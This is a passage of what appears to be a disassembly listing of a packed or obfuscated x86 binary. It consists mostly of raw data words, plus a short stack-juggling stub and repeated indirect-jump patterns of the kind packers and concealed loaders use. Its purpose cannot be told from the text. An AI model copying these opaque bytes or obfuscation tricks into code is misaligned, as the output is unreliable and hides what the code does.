0D67D1EBFh, 0A3AC9C0Ah, 1D2B8449h, 0AF05FADBh, 6E019h dd 5F080000h, 0E0AC9631h, 0C7507C25h, 0C0590097h, 0F5DF781Fh dd 842BC6F4h, 204CCDFDh, 0A54EE485h, 0D8F1DB76h, 2C1A246Dh dd 5CE63FEh, 1EF857Dh, 47A30987h, 0E1CC07A2h, 765F2AC2h dd 0A18F3FD5h, 439CCC30h, 0A5BEA87Bh, 8796717h, 53439CCCh dd 65959680h, 66963DD2h, 609039CFh, 9EBD1EC5h, 1455005Ah dd 59725CFDh, 0BC2D1BCBh, 7439C64h, 3FB09E34h, 8A439C64h dd 1C87CDB7h, 73439C64h, 1040EE38h, 412FDF75h, 439C64D0h dd 8E275A1Bh, 55FC03EDh, 64EB9225h, 620BA134h, 53EC9332h dd 9BC95069h, 64AC1D0Bh, 24F7439Ch, 2255DC83h, 0C04FE88Fh dd 9F50F792h, 0BCEE58E6h, 48E98229h, 0DE48D68Fh, 838217AEh dd 1FB64E52h, 13E88h, 352DB000h, 0A0C952Ah, 0A501C06h dd 44F48A82h, 0F235A694h, 0AD8049A3h, 0F9CF7DC3h, 0C79A47A2h dd 0B7E99220h, 46DC751Ch, 9CE8E758h, 755F3243h, 0E6E94474h dd 2E6D60F6h, 11744CB5h, 4BFFE3D4h, 3E6E15AAh, 497900A7h dd 3D6F18AEh, 0F6A7C0AAh, 1545F33Dh, 0E7EEED82h, 0F51FB630h dd 3Eh, 8F830A59h, 872250F9h, 62E5959Dh, 4F950531h, 97DDC763h dd 49A3D276h, 0DBA74E21h, 49A3D16Ah, 0A373BD8Eh, 0A492281Ch dd 49A3D183h, 25C65B2Eh, 0ABh, 0A85DDC5Fh, 475C1FFDh, 820A915Dh dd 9406F48Ah, 0D147A2EEh, 8249DE4Eh, 281D7839h, 8889F209h dd 0E6E0CA2Eh, 0B5E56C13h, 902ED85Ah, 6E04671Ch, 9C160F80h dd 0E6875A43h, 0DC7BA750h, 8339C35h, 4AD96EE9h, 0ED949B85h dd 0B7832ABDh, 439CC1FFh, 73DD6BA6h, 460FA443h, 758DFEBEh dd 0AC5F8211h, 15C5750Bh, 9C2DB627h, 442E0143h, 91275DFEh dd 8E350841h, 9940D707h, 0A047E612h, 0AB52ED19h, 37F741FAh dd 61AD7BC4h, 9B4BE1D9h, 8027C6F2h, 9132CDF9h, 1FC061A7h dd 0AD5D3B84h, 821F4EBFh, 0C3629237h, 847E683Bh, 25AA1CB1h dd 11B8497Ch, 0E36B8E78h, 85204DF6h, 0A3F240B1h, 17B88B49h dd 12ABD881h, 91322028h, 3C4798ECh, 0B3BC269h, 0A629D76Ch dd 7B9A33B6h, 0C8C9B32Ah, 8A56FD98h, 0B18A932h, 0EE1CC505h dd 1C082A8Bh, 57F88530h, 1A04126Dh, 0FB64BEAh, 13A148DFh dd 0F3047563h, 1A48FB11h, 0B73FD87Fh, 0CAF9FAE4h, 0D6771241h dd 0AD7BC42Fh, 1FB45383h, 6AD4878h, 0C85h, 405EFB00h, 2AF2A8BDh dd 0F4DE2F32h, 6AFB2C28h, 790C3CC3h, 7E194BD2h, 8A2350D7h dd 98295CE3h, 9E376AF1h, 0A84170F7h, 0B14C7A01h, 0B857830Ah dd 89576711h, 4C781E7h, 83000000h, 3C8704EFh, 3C895C24h dd 514B6824h, 2C890000h, 66536824h, 14890000h, 0B8505724h dd 30F9637Ah, 0E4EE7C2Dh, 58C7891Ch, 197223BDh, 5FFD3112h dd 24148B54h, 4C481h, 89570000h, 87A89EFh, 83243C8Bh, 148B04C4h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ebp add esp, 4 jmp loc_544543 ; --------------------------------------------------------------------------- db 8Dh, 5Fh, 0B8h dd 60D0BBFh, 0E0FFC503h, 74AC208h, 3337A9F8h, 32207B5Ah dd 9C15057h, 6686C31Dh, 7AFE7A0Ah, 7546E79h, 39E5C7C3h dd 6A8BDA78h, 41763C9Dh, 159F7686h, 246BDAD1h, 41077D71h dd 248420CCh, 0AE8h, 9A8C4200h, 6F0FD98Bh, 0F482BEEh, 665AF6BFh dd 81F0F7B8h, 5ABCC2h, 0FE96000h, 45000000h, 0F344357Eh dd 24A24008h, 0DA7DB862h, 0BB616F09h, 0 dd 811334FFh, 0B785F7C8h, 8B605F15h, 6122B3DEh, 2D85C781h dd 6E83124h, 90000000h, 81DD5202h, 0E88166BFh, 815874A0h dd 0BA50F8C7h, 6CB96600h, 31F781E5h, 66248910h, 3C7AD981h dd 5E957h, 0A0F50000h, 8FD1102Fh, 0FF91A04h, 78Eh, 0D48A6000h dd 61F38B66h, 0F03EB83h, 189h, 514BF500h, 0FB8158F5h, 0FFFFA5F8h dd 0FF8E850Fh, 800FFFFFh, 0Dh, 820F60h, 0BB000000h, 293003A9h dd 3104EB61h, 0E94A680Ah, 55Bh, 8E23C2F3h, 871CBBE7h, 8217B2E0h dd 7C11ACDBh, 7A0FA2D5h, 0D90CC7DFh, 0DF0CB348h, 0D80AB146h dd 0D101A83Dh, 66D4A136h, 96E50778h, 693B5243h, 0C269FC2Ch dd 0D86D083Bh, 0D0660131h, 0F2C13220h, 390C49A3h, 7FAF364Fh dd 63CF52E8h, 0B819034Fh, 271B277Dh, 690A190Ch, 0B3DF667Fh dd 16A96D14h, 57EE1E08h, 3E6B14C2h, 82B4B59Fh, 9239D401h dd 1CC358F9h, 29B057EAh, 0CEBC6CFCh, 49A3DF5Dh, 9001D5A8h dd 0DB49A3DFh, 55C06708h, 0E214020Ch, 0E313BA4Fh, 63D19D44h dd 4B49A3DFh, 33A224F2h, 9519AED3h, 0D386F7E5h, 0D5C349A3h dd 49A3D364h, 8154DCAFh, 76A397h, 2C070000h, 0B24D7BFCh dd 339E6A11h, 1749A3F2h, 947C8E11h, 0D1E449DCh, 3C828CE7h dd 19AF1C99h, 0BD58862Fh, 1DFD3h, 25430000h, 94C7507Ch dd 20C15A01h, 0DCC66191h, 6910AFDBh, 8117B6E2h, 0C23321D1h dd 0D49A3F2h, 0F1F5663Ah, 6D4049A3h, 0B4E36A83h, 0BC5DF82Bh dd 70BE5115h, 66FB9AC6h, 16308FBFh, 26D276A8h, 0C447DD7Eh dd 7834F3D4h, 0EA83B265h, 0E6585F49h, 5CA0F92Ch, 0D0E3FCB2h dd 55E38A2Bh, 6BBB0BD2h, 442EF2E0h, 0D1781743h, 6FD96720h dd 6D14A93Ch, 7C03AA3Dh, 741DB34Eh, 0ABC4AE47h, 2B1C2A0Dh dd 0EB195BA8h, 0D768B18h, 33569EF4h, 18715B46h, 19AEFCCDh dd 932Fh, 0F92C9300h, 8A33C168h, 0D0D1BB5Ah, 9C6007A2h dd 0DE113F09h, 739F2855h, 0F3942DD4h, 0AD28EB4Ch, 381EF09Eh dd 0B060F697h, 0A39E51C2h, 0DFC99C49h, 75FE31D8h, 680FB043h dd 7017B2E1h, 9F21EFD2h, 19AF1246h, 67B4h, 0A2251800h dd 0A8D56F5Bh, 64CD660Dh, 98275BEFh, 8C25CC65h, 0D36EA1A2h dd 0E073A52Ch, 0E171A14Ah, 0A3ED82F3h, 59FACD49h, 162F19B2h dd 6CDD6BA6h, 160494C3h, 49A3EDA5h, 927C1DF0h, 0A8D55E91h dd 1889770Dh, 6349A3EDh, 0E85AEF90h, 0BE65002Ch, 0A3F284F2h dd 0BD666C49h, 0AE09F38Eh, 0C0775E60h, 16519AEh, 0C9000000h dd 806EFE2Ch, 49A3F20Fh, 711E875Ah, 0A244D584h, 9F26CD6Eh dd 21BCEA6Fh, 8DFEEC7Ah, 0D849A30Fh, 1CC36405h, 69DE68B1h dd 0F5ACBB9h, 0D2A549A3h, 1EB9E7E8h, 4038C089h, 34CF01AAh dd 20AF48Dh, 0A2269A14h, 3BE2B547h, 5BF184B4h, 0F64CBDABh dd 0D697439Bh, 836D0EA7h, 0F225CE7Ch, 4474755Fh, 0DE0A6CE9h dd 0D97A272Eh, 99FB6632h, 83B439Ch, 0FB6517Fh, 0A72ED576h dd 0CB36DD78h, 78B482h, 9DCD7BC5h, 9ECE750Ah, 14EE7107h dd 9356742Ch, 74FB14FEh, 830AB144h, 8A11B857h, 571BC25Bh dd 0D7C57AC4h, 439C1066h, 843DDEB1h, 219B9B1Eh, 73DC77A5h dd 0EBD53BA9h, 68988690h, 9C3938CDh, 2A1FB5C2h, 8E0EB8A7h dd 2E634303h, 35F76063h, 3F7E1B6h, 0FCh, 8A820A67h, 0FA5806F4h dd 502347A2h, 53F222A9h, 50E717BEh, 53F222A9h, 0F442FBACh dd 68B31A4Ah, 6F85CEA6h, 8D8F05E9h, 0F7E81F24h, 25F3418Eh dd 51F2E928h, 1318BDBCh, 0FEAE1FB6h, 9C939F10h, 2D17EA43h dd 4139h, 830A9D00h, 0EA0BF98Fh, 9549A3F2h, 0F26EDFCDh dd 0E6B949A3h, 61D29E45h, 8549A3F2h, 139A6AB4h, 0C7680331h dd 0C25B8831h, 0C1E2D0D8h, 6C49A3F2h, 65530399h, 49A3F1F4h dd 7B826C3Fh, 73DAh, 7C255000h, 7912B94Ch, 0FEE46C8Fh dd 0E15240D0h, 2C49A3F2h, 8117B859h, 0CD08C9FEh, 0C4AEBE84h dd 0BA5CCEBCh, 0E99947A2h, 0A0740D40h, 439CBA2Fh, 0C3BDA77Ah dd 9233D202h, 842353FCh, 415A44DDh, 56EB8ABAh, 41E87FAFh dd 9CB9BD75h, 1F296443h, 0D1660131h, 0F2888008h, 91BC8704h dd 38DFB241h, 3FE681B1h, 71BD8BD4h, 6D5BF1E9h, 3B84AEF0h dd 41B3481Bh, 0F48A820Ah, 98F58906h, 0C4F3B447h, 0C9700F3Bh dd 47EE8F30h, 0AA1B09B9h, 0F54396E5h, 7373822h, 434DB70h dd 38EA0EA9h, 0D2730B3Bh, 97765F2Bh, 0DA6D0773h, 13B2E24Ch dd 3220D07Eh, 0F73167C1h, 7BAA390Ch, 0B8A23BE2h, 49F087B7h dd 53FA93C2h, 0A7919FE8h, 0A44BE077h, 2AC5F374h, 0A249EA83h dd 1D21h, 7C259700h, 29DCB4Ch, 7A21C25Bh, 0A28F7E1h, 0EB245B87h dd 184BE5D5h, 9C3DD67Dh, 0FB2CE6B2h, 0C3CC36Ah, 194BD279h dd 2350D77Eh, 295CE38Ah, 376AF198h, 4170F79Eh, 4C7A01A8h dd 57830AB1h, 536711B8h, 0B850E389h, 45AD6658h, 4BC13548h dd 6C2D4C6Eh, 5211756h, 62B95631h, 51646625h, 24463514h dd 0C3010041h, 4EB8358h, 5C241C87h, 81E68956h, 4C6h, 4EE8100h dd 87000000h, 895C2434h, 0B168240Ch, 89000079h, 68552434h dd 16D0EE8h, 17F5815Dh, 0F7662327h, 0C8ED81DDh, 8992A4C8h dd 242C8BE9h, 4C481h, 3E680000h, 89000010h, 4832424h, 685E0424h dd 62D8h, 0B8240489h, 8, 889F001h, 24348B58h, 81E68956h dd 4C6h, 4C68100h, 87000000h, 0FF5C2434h, 83592434h, 0FCE904C4h dd 0EFFFFA6Ah, 53CF4716h, 0CCBAAAEBh, 0B897BF95h, 60D11DCh dd 0E0FFC503h, 2DA78175h, 6B6E69Eh, 4F3383D0h, 15F58920h dd 7C7BF76Eh, 366863A0h, 679776Eh, 5070E320h, 17DE9h, 0FE5D6000h dd 0C2016C4Fh, 0CAD1D76Fh, 7E41EFB4h, 9752E45Bh, 0A3FB6D5Dh dd 0B99244FCh, 0D792A59Eh, 0B9E495BCh, 0B2CB0093h, 0ACA3F49Dh dd 9EB9FC9Ch, 0C945D200h, 0EE73AFh, 0BA9755FCh, 0E56D599Ch dd 0ACFFB2A4h, 57F647FEh, 0CCD4C456h, 7DB5F600h, 9549F78Fh dd 0BCFA9753h, 5CCD45C9h, 0E56CA191h, 10000ACh, 43h dup(0) dd 0D1F80000h, 0DA43736h, 0E699D3C2h, 0F8E94D96h, 6800000Eh dd 60D1633h, 0FB2D5BE9h, 172768FFh, 51E9060Dh, 68FFFB2Dh dd 60D18A9h, 0FB2D47E9h, 196F68FFh, 3DE9060Dh, 68FFFB2Dh dd 60D1A82h, 0FB2D33E9h, 1B2668FFh, 29E9060Dh, 68FFFB2Dh dd 60D1BBDh, 0FB2D1FE9h, 1C4968FFh, 15E9060Dh, 68FFFB2Dh dd 60D1D87h, 0FB2D0BE9h, 1DE668FFh, 1E9060Dh, 68FFFB2Dh dd 60D1E8Eh, 0FB2CF7E9h, 1F3368FFh, 0EDE9060Dh, 68FFFB2Ch dd 60D1FCCh, 0FB2CE3E9h, 20C268FFh, 0D9E9060Dh, 68FFFB2Ch dd 60D21B1h, 0FB2CCFE9h, 0A4736CFFh, 41140BD2h, 0DFB0A86Fh dd 7754460Dh, 13E8DEA5h, 0BA2E6F41h, 561DEFC4h, 0EFB68863h dd 895022FBh, 0D2EBBD94h, 0B85EAB95h, 16578024h, 6C514618h dd 31CD3582h, 0E02D1786h, 0D98631CCh, 825132F8h, 886D6237h dd 31CC519Eh, 0F2425286h, 0B3BF7905h, 0D9AB7A49h, 0E5B4502h dd 786319Ch, 145F3028h, 424B6E3Dh, 745E3B29h, 8C38B6F0h dd 0C0958A69h, 0D924F3CCh, 0B67257D3h, 3C0B1A79h, 0EBE3906Dh dd 4254F71Ah, 802A29F1h, 0D41FF6EBh, 0E6310CFFh, 57451C11h dd 0ECDE9EE6h, 310A2383h, 0A9F169C1h, 28h, 5DC962E1h, 0E6C39267h dd 0B2857C29h, 0DE112D8Fh, 27088C38h, 0BB79CADCh, 0E54E802Ah dd 56936C9Dh, 0D50BF16Ah, 43000000h, 2F7A5146h, 448F645Ah dd 0ECA0815Fh, 0D6CD481Bh, 0C2998EB3h, 0D6ADA277h, 0CADC1BF9h dd 0B9671543h, 312682CFh, 0D3A28386h, 38286B0h, 7D86312Ch dd 18DFB188h, 7543E23h, 86312Bh, 2005501Fh, 2B2C7963h dd 4C2D8631h, 190B2029h, 4A7E523Ch, 28178C38h, 2A0FF13Eh dd 4211F280h, 0F7EC9970h, 0DBFED520h, 0EECB59D2h, 33BD7304h dd 8BE4F486h, 6975E61Ch, 0A65330FFh, 4209DBB0h, 0E6C0774Ch dd 289DFD72h, 0C4A519Bh, 1A130000h, 0BBB2794Bh, 574F16E8h dd 0FBEDB486h, 8F854C1Eh, 0D516E8BAh, 0C4966B61h, 5D2F0AFDh dd 0F7C9A296h, 92643B30h, 5523C79h, 0FE8024B7h, 5046BFBDh dd 0EDE2A97Bh, 9E7C3916h, 0DF2D89C6h, 3A8791CFh, 3B863178h dd 550D375Ah, 7E5BC962h, 5379D4A0h, 8EB1C01Bh, 0B9536F59h dd 43328C38h, 2A990C59h, 5D2C0D80h, 8C802D12h, 6E9168B3h dd 2A98BB0Ch, 0DF279080h, 6A33D5AEh, 0BB4DF1h, 0B9660000h dd 0ABF8E2C1h, 0AC802AA4h, 0C3D9FCCBh, 8A7C5146h, 0BE93DEADh dd 0AEFBE5C8h, 0A78631CCh, 0CC81CEB8h, 0A1828631h, 0A6B803D2h dd 8631D127h, 83552C21h, 0A5F0C7BCh, 8E57FECh, 38E84A1Eh dd 5956348Ch, 0E5FFBC95h, 6F506E91h, 0EB79F29Dh, 9082240Eh dd 96778633h, 41160CB9h, 0F6EB986Fh, 0A552C21h, 1C416433h dd 169A5126h, 0C9DFD74h, 0B56357Fh, 261F0000h, 0C7BE8557h dd 635B22F4h, 7F9C092h, 9B91582Ah, 0E122F4C6h, 0D0A2776Dh dd 693B1609h, 3D5AEA2h, 9E70473Ch, 115E4885h, 128024B6h dd 5046D3D1h, 0EDE2A97Bh, 8F6D4416h, 0DB7D051Ah, 0BE8F87CDh dd 0AACD9C73h, 7A514694h, 0A79D4A2Fh, 0BE0BF5D2h, 0B78631CCh dd 998EB3D6h, 2645F0C2h, 5C3BF90Fh, 9564CDBAh, 0B73ACEB8h dd 0FCDB8C38h, 0BE22D0Ah, 8EDFF13Ch, 63802A96h, 0D8250FCCh dd 0D1802A96h, 7EC6CDF0h, 6A31744Dh, 6CECF1h, 58050000h dd 6A418C63h, 0C9623147h, 0BC947E5Bh, 0DD8C38D8h, 4E9FB1FCh dd 23802AC1h, 68416ABAh, 4BF16A58h, 0AFD2A99Eh, 410Fh dd 867B2800h, 6A8D64AFh, 5BC96254h, 6AE3C17Eh, 2CFFF630h dd 8D55062Eh, 744A53C7h, 14370614h, 382FB6B2h, 63AE8F8Ch dd 2A280051h, 146CD580h, 0DCB5A956h, 0FF97BA91h, 0F169C326h dd 79Eh, 0D4D1D600h, 0F9000007h, 0BF928936h, 8C98939Ch dd 0E0A7C5AFh, 81628C3Eh, 2B02F7A4h, 0C69D9259h, 0F1E9967Bh dd 0DBFED520h, 0EECB59D2h, 29744D41h, 3A856254h, 3C719463h dd 9DAD27Fh, 3990D60Bh, 0FB1E766Ch, 31910A99h, 0C9A68786h dd 5842271Ch, 8631700Bh, 8A5C2B0Ch, 0ACF7CEC3h, 42231AC7h dd 31700B58h, 5C2B0C86h, 293B3039h, 0D3AC9F4Ch, 153807DEh dd 7166F6E0h, 6E78C38h, 0F6836B4Fh, 0F43ECBA3h, 9D4h, 3D5A49Dh dd 0A072453Ch, 3E10E1D9h, 0D6A88577h, 7244190Fh, 0F5EB5FA0h dd 94874E20h, 2C20E7B9h, 0C5BA8153h, 0C6031CEEh, 24B48FDCh dd 49478880h, 31CDB809h, 0C75DCE86h, 0DED200EAh, 0B08F8C3Eh dd 0C49BE6B9h, 0F37823F5h, 1AD79471h, 24BAE330h, 2603E480h dd 24BAEF3Ch, 0E407E880h, 31CE5C82h, 5F3C1D86h, 14E6BDB2h dd 3681584Dh, 9976EE7Dh, 3EDE28AFh, 6B48298Ch, 20F2C9BEh dd 0D2A59C49h, 0EBE3B087h, 0DDD2F71Ah, 703F1008h, 99834025h dd 8024BA4Ch, 0E7496C4Dh, 24B998h, 0CAA7BDAEh, 2BBE68E0h dd 9CF4D206h, 0CD97033Eh, 15BE4745h, 772EE139h, 63573654h dd 0C004BB8Ah, 8A1DF9C4h, 90EB3FDh, 0DED70000h, 7F763D0Fh dd 1B13DAACh, 0BFB1784Ah, 534910E2h, 99DAAC7Eh, 885A2F25h dd 21F3CEC1h, 0BB8D665Ah, 5628FFF4h, 0C916003Dh, 0CA8024B3h dd 0C9628B89h, 66947E5Bh, 238C3EE0h, 44876542h, 0DB36C358h dd 0E390C5E8h, 7E4517EEh, 0AE67B289h, 0DCAA7BDh, 1FD752Fh dd 233A3809h, 3496B92Ch, 86314712h, 745143F0h, 112F5229h dd 0B1A65330h, 4C4108DAh, 0FA712A75h, 13D08D6Ah, 3142DC29h dd 0D9FCDD86h, 3E561877h, 0BEB5628Ch, 0A6C9A0EBh, 1DCAA788h dd 0B87F5128h, 310FECC3h, 0C2C58E46h, 0AA4D704Fh, 24104798h dd 58CE5D80h, 48957F62h, 41802410h, 0E5C29160h, 312291FBh dd 4A270886h, 0B0D3A69Dh, 2D9CE7Bh, 9F746930h, 0A085D0ADh dd 311D69B6h, 0BA896A86h, 44E7A0EBh, 615603E0h, 45683F8Ah dd 31002610h, 10F18C3Eh, 51F0CC5h, 33163E28h, 0F8D7862Bh dd 0DBE12C03h, 956EBEEFh, 83501F1Ch, 946BB68Fh, 2FC00EC5h dd 119E9DF9h, 7FBC7h, 0FCCBC400h, 996C632Ah, 370800C7h dd 0CFAC9E65h, 6B4036FDh, 1286C799h, 0AE75471Ch, 470EE0BBh dd 0E1A87A53h, 2A4315ECh, 0B2B603EDh, 6EAF8024h, 8F793670h dd 8631CD42h, 0A0956243h, 84A77EC9h, 48936A5Fh, 5CA77E73h dd 13C91942h, 3B75471Eh, 0F7716762h, 7DAh, 83D11200h, 0F9000004h dd 50DBFF60h, 890DF7D4h, 0F08C38D6h, 0B6B1C50Fh, 0A8533694h dd 80E17283h, 8953D73Ch, 3BF3DDBAh, 1AB72C41h, 3635EE39h dd 4E67512Eh, 3FB930A9h, 0DFD4815Eh, 7A6F3608h, 0AECECA3h dd 0F98672F1h, 757AFh, 58272000h, 0F5C8BF86h, 93645C23h dd 2B08FAC1h, 0C79C9259h, 6EE223F5h, 0AD1A378h, 0A36A3C17h dd 3D04D6AFh, 869F7148h, 0B2125F49h, 0D2138024h, 7A5146D4h dd 8F645A2Fh, 0D1912BDh, 94714019h, 3EDF52AAh, 8562438Ch dd 0BCDDE3D8h, 9B6537E2h, 0DC27FAF1h, 95673605h, 0F04D9CEh dd 391E6938h, 5D8CF7Ch, 8CD9E3BAh, 8D80243Ah, 0EB8089ACh dd 90B29C79h, 8986314Dh, 610ECBA8h, 744B966Bh, 60372C51h dd 0FBD2C78Eh, 10E5DBB0h, 0EFA88959h, 2670FD9Dh, 6C0h dd 0EFC19089h, 8C5E3128h, 2AFCCDC5h, 0C2947163h, 5E3005FBh dd 0E1D74B8Ch, 80733A0Ch, 180CD3A5h, 0B1A66D3Fh, 0B2EF08DAh dd 24B17BC8h, 3D3B7C80h, 7E5BC962h, 7C5DECA0h, 8F66B186h dd 0EAF26091h, 86A892C7h, 5C8C3EC4h, 95E0BDAFh, 0AAF5CAC0h dd 0C3E104D3h, 8B4805E2h, 24C454A1h, 51745580h, 6852372Ch dd 8024C51Bh, 9A6C3B1Ch, 0BC07DED3h, 1FFC6803h dd 2BD3F935h, 1A0CB986h, 1BFC1A3Dh, 0F92E8864h, 3B85129Dh dd 634h, 633504FDh, 0D2A59Ch, 9E704139h, 3608E5D7h, 0D2A4796Fh dd 554BBF00h, 0F4E7AE80h, 8C804719h, 251AE1B3h, 26637C4Eh dd 24B0EF3Ch, 0A9A7E880h, 2F7A5146h, 438E655Ah, 0FAA00029h dd 225C2E05h, 0F7716449h, 0EC1h, 8936F900h, 9D74BF92h dd 2C4E07Ah, 46080000h, 4A2F7A51h, 85D0A99Dh, 12E1BEB0h dd 0DF45E6EFh, 0E0F61802h, 0C4A38C3Eh, 0D7AEF9CEh, 815F3608h dd 76138898h, 0C0E50842h, 5A17F4CBh, 24422370h, 4D452480h dd 8B5A317Ch, 0FAF0C568h, 41E02D17h, 0F8D98024h, 0C3805729h dd 24418CD9h, 0BB908680h, 507FE5F5h, 275A7502h, 3F2C3558h dd 0AD8B4825h, 983BA00h, 0E709387h, 8631B1CBh, 510EEBCCh dd 0E8DBAEA4h, 1CF33E0Dh, 0ADFD4F9h, 9F714013h, 0AFDDE3D8h dd 3693296h, 14F94413h, 59B3FA36h, 0E3066854h, 16F3C8BEh dd 9D9B7669h, 86CC7165h, 7215384Dh, 0D5B2B2B9h, 24715B18h dd 258630F5h, 0F4ED3A44h, 0A8AE8630h, 649C2BD7h, 88AB8C52h dd 0F5E99653h, 752291Eh, 0DC3E6130h, 8C387A48h, 0ABF8E2D1h dd 0AC802A5Fh, 0B145FCCBh, 0FDA3F694h, 4F62670h, 0C6BF0000h dd 675E25F7h, 3FBC294h, 0A7996032h, 3B31F8CAh, 81C29466h dd 7042170Dh, 9DBB6A9h, 0A3754E42h, 3E10E7DCh, 0B1FEE825h dd 0B28024AFh, 51467371h, 655A2F7Ah, 29438Eh, 2E05FAA0h dd 6449225Ch, 7C1F771h, 0F9000000h, 120D1h, 5146F900h dd 273DC37Ah, 0F8859DEFh, 497AEh, 98676000h, 3508FFC6h dd 0D3A49C63h, 6B483A01h, 7DCD299h, 0AE226335h, 4A11E3B8h dd 0E3AA7C57h, 7D4416EFh, 0C6DFB188h, 0AF529F89h, 12538024h dd 4B514614h, 2C12E1ABh, 0C40FDE8Fh, 0D823FAEFh, 7F4D95BEh dd 5482C8A1h, 643B8661h, 0A9D1FB66h, 956C6186h, 80EECC3h dd 50628B90h, 7851E90Ch, 0F0F770BEh, 14h, 0A3D128h, 36F90000h dd 72BD9489h, 96DE789Bh, 6000000h, 7E5BC962h, 3EE17294h dd 0FB46278Ch, 5E3B2942h, 0ADFAE4A1h, 0A68024B8h, 0FC40A2C5h dd 0FD862BC9h, 2CA5651Ch, 0A4319DF9h, 3EF5Ah, 0F0BFB800h dd 8D60571Eh, 2BFCF4BBh, 0C3A09259h, 5F342AF1h, 67ABB8Dh dd 0A2693B10h, 3B02D4AFh, 0D59C6E47h, 1E3709E0h, 0AEAAF7E1h dd 6AAB8024h, 4DC9626Ch, 31CD1663h, 3C130886h, 0CDA09776h dd 68522FFEh, 8C3918B2h, 34E1BE9Fh, 95996B3Ch, 802A8245h dd 0E942483Dh, 1BD144F5h, 0F7BE905Fh, 99E32EFFh, 388h dd 25836C1h, 4F9C8604h, 488630FCh, 10A66967h, 3283154h dd 385A4421h, 0E18C3EDDh, 0F2D0B500h, 0BCC75744h, 3E476AB7h dd 705A372Dh, 862BC92Ch, 7F954C2Dh, 6B9DF92Bh, 34A94DEh dd 1A130000h, 0BBB2794Bh, 574F16E8h, 0FBEDB486h, 8F854C1Eh dd 0D516E8BAh, 0C4966B61h, 5D2F0AFDh, 0F7C9A296h, 92643B30h dd 5523C79h, 0FE8024AEh, 0C962BFBDh, 76947E5Bh, 138C3EE1h dd 0B3A85532h, 76330ADCh, 24B93F8Ch, 34573880h, 0F8431A0Fh dd 5B382C3Fh, 31CBE271h, 0A17E5F86h, 4B28FFF4h, 0C657A48Eh dd 6F508631h, 665B224Ch, 0E08B448Fh, 2DEAA784h, 31C6F643h dd 0EB0EEF86h, 38C8F989h, 0A699788Ch, 7251EF9Ch, 0F1C0790Ah dd 4900CFA6h, 0A3F6C3D5h, 0B1529C29h, 7A000002h, 19E0B281h dd 0B67D4F22h, 541BEDBEh, 0ECB38562h, 7D4F21F6h, 0FDD2C83Ch dd 9671642Bh, 3009FDC4h, 0CBA2975Eh, 0B9A3E0F9h, 8024AD6Ch dd 462E2C6Dh, 5A2F7A51h, 11BC8E65h, 432D0A1Ah, 8C38E7BFh dd 788AD5B6h, 802AB327h, 0C572A21h, 1D684537h, 0E890F0F1h dd 14358DF6h, 0F16A4A3Bh, 27B3h, 0C962EB00h, 78947E5Bh dd 118C38DEh, 82D3E530h, 57802ABBh, 9C7596EEh, 7FF16A56h dd 0BB06DDD2h, 0AC21C1E4h, 59000000h, 2F7A5146h, 448F645Ah dd 0C6A37A6Fh, 0A3B124E8h, 24466FE7h, 0E2B79FEFh, 0D87B9E6Dh dd 65370E03h, 3197E261h, 8C635886h, 370C02AFh, 2E23EA14h dd 0D8530C57h, 36815A4Eh, 0C9B3905Fh, 8C38BDF9h, 9A4517F8h dd 0CCB69391h, 863469A2h, 0EC997657h, 884F21F6h, 0F5C8BF92h dd 0DE12E18h, 1E28623h, 0E6AD7B32h, 0D8659DFDh, 1BB8Eh dd 0BC8B8400h, 592C23EAh, 0F7C8C087h, 8F6C5E25h, 2B00F6BDh dd 0D2468759h, 6E3507DCh, 7CEA07Bh, 0A1683A13h, 0EA03D5ACh dd 0AC76C3ADh, 2E6F8024h, 7B504630h, 25FCF19Eh, 1C11D802h dd 62BB7345h, 947E5BC9h, 8C38DE78h, 0D3E53011h, 802ABB82h dd 62AD8A7Ch, 74BF9A8Dh, 5800602Fh, 84A5FD66h, 0F16A56ABh dd 0C523h, 51465B00h, 645A2F7Ah, 1105B28Fh, 0F316ED38h dd 0D1BF3E50h, 0FCA98631h, 0E80D3007h, 834A1CF3h, 0B36CB78Eh dd 67B49EB8h, 608631C8h, 0E4BFB27Fh, 7E4E3815h, 7F8C38F8h dd 0A21CC9Eh, 0CA533D1Ah, 0CB86344Ch, 6A600DEAh, 0AC144966h dd 0B7E99466h, 0A7C412D6h, 6D8A776h, 3B88722Fh, 3C862388h dd 1D13385Bh, 8803503Ah, 50CC8623h, 39EFAF10h, 1DEBF85h dd 22E9CA17h, 1BEACB86h, 0FE0ACE64h, 81CB589Dh, 0CCh, 0FBCD9C95h dd 986A3D34h, 3608D9D1h, 0CEA07D6Fh, 6A3C1107h, 0EDE35798h dd 8C7F4618h, 2418DFB1h, 0BDB2794Bh, 0BEFB14E6h, 24AB87D4h dd 413F8080h, 867D5046h, 0C29168B3h, 5D3429F0h, 7936D38Bh dd 31CD428Fh, 64624386h, 9ABB4634h, 0FC2144E8h, 96533007h dd 30E75FACh, 54775886h, 10E7DCB1h, 8C98933Eh, 0FBAFC5AFh dd 8B6A8C3Dh, 0A4EFBE97h, 0BF5DACFh, 8023DBBEh, 98E3BCB0h dd 4B1AFBC1h, 0FDF5A279h, 1964372Eh, 51287342h, 3D14092Eh dd 0A0EBE0F2h, 0DF0ECBBFh, 1A653E32h, 0C9192043h, 8D5E5603h dd 9879C6B0h, 997A389Bh, 855C5176h, 20F7ECB3h, 310E00D5h dd 72D2A1E6h, 2E00D7CCh, 509B7267h, 306h, 67672E00h, 337E4D46h dd 4792695Eh, 5AA57E72h, 6CB79285h, 81CCA197h, 96E1B6ACh dd 0A7F2CFC1h, 0BE09DAD2h, 0D41FF2E9h, 6EEE6888h, 8F540000h dd 4812404h, 424h, 0E1895100h, 4C181h, 0E9830000h, 240C8704h dd 243C895Ch, 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h dd 5352242Ch, 781ED768h, 0EBD15B6Eh, 0C381D3F7h, 3D492446h dd 895BDA89h, 8B545AD7h, 0C483242Ch, 8B95104h, 1000000h dd 8B3989E9h, 0C483240Ch, 242C8B04h, 81E28952h, 4C2h, 4C28300h dd 5C241487h, 51243C8Bh, 0C181E189h, 4, 8704C183h, 0E95C240Ch dd 0FFFB1E74h, 6E5AA921h, 0B84BC8BAh, 60D22A2h, 0E0FFC503h dd 1A38BAD0h, 39BBCE67h, 572E646Ah, 6D855166h, 543FBE15h dd 59CF1840h, 55FA10E9h, 2E11B8ECh, 29BA9BE6h, 788E8EA5h dd 4735A0A8h, 4AA081B0h, 41B5F7BEh, 35CEE251h, 739C63EFh dd 55C7A701h, 6CDE138Fh, 